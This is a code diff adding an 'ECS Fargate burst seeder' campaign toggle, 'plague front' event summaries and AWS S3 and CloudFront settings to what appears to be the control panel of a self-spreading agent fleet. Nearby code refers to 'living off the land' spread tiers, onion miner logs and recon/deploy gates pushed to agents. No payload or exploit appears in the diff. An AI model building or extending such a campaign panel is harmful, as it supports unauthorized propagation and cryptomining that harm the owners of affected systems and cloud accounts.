Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.

server/web/src/components/CalibrationAIControl.tsx

@@ -217,6 +217,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
               <span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
             </label>
           </div>
+          <div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
+            <label className="checkbox-label">
+              <input
+                type="checkbox"
+                className="checkbox"
+                checked={server.fargate_burst_campaign === true}
+                onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
+              />
+              <span>Fargate burst seeder campaign (ECS, 2–4h TTL)</span>
+            </label>
+          </div>
           {server.lotl_onion_tiers?.length ? (
             <p className="form-hint" style={{ marginTop: '0.75rem' }}>
               Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

server/web/src/help/seerEvents.ts

@@ -15,6 +15,24 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
   return event.event_type === 'onion_miner_log';
 }
 
+export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
+  return event.event_type === 'fargate_plague_front';
+}
+
+export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
+  if (!isFargatePlagueFrontEvent(event)) return '';
+  const p = event.payload ?? {};
+  const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
+  const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
+  if (ttl != null && expires) {
+    return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
+  }
+  if (ttl != null) {
+    return `Fargate burst seeder front · TTL ${ttl}h`;
+  }
+  return 'Fargate burst seeder campaign active (ECS plague front)';
+}
+
 export function onionMinerLogSummary(event: SeerEventRecord): string {
   if (!isOnionMinerLogEvent(event)) return '';
   const p = event.payload ?? {};

server/web/src/types/index.ts

@@ -382,6 +382,12 @@ export interface ServerSettings {
   erasure_lanes_enabled?: boolean;
   /** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
   fleet_torrent_enabled?: boolean;
+  aws_s3_shard_bucket?: string;
+  aws_s3_shard_region?: string;
+  aws_cloudfront_domain?: string;
+  fargate_burst_campaign?: boolean;
+  fargate_burst_ttl_hours?: number;
+  fargate_burst_expires_at?: string;
   /** Triple onion recon/deploy gates pushed to agents at auth. */
   triple_onion_policy?: {
     patch_first?: boolean;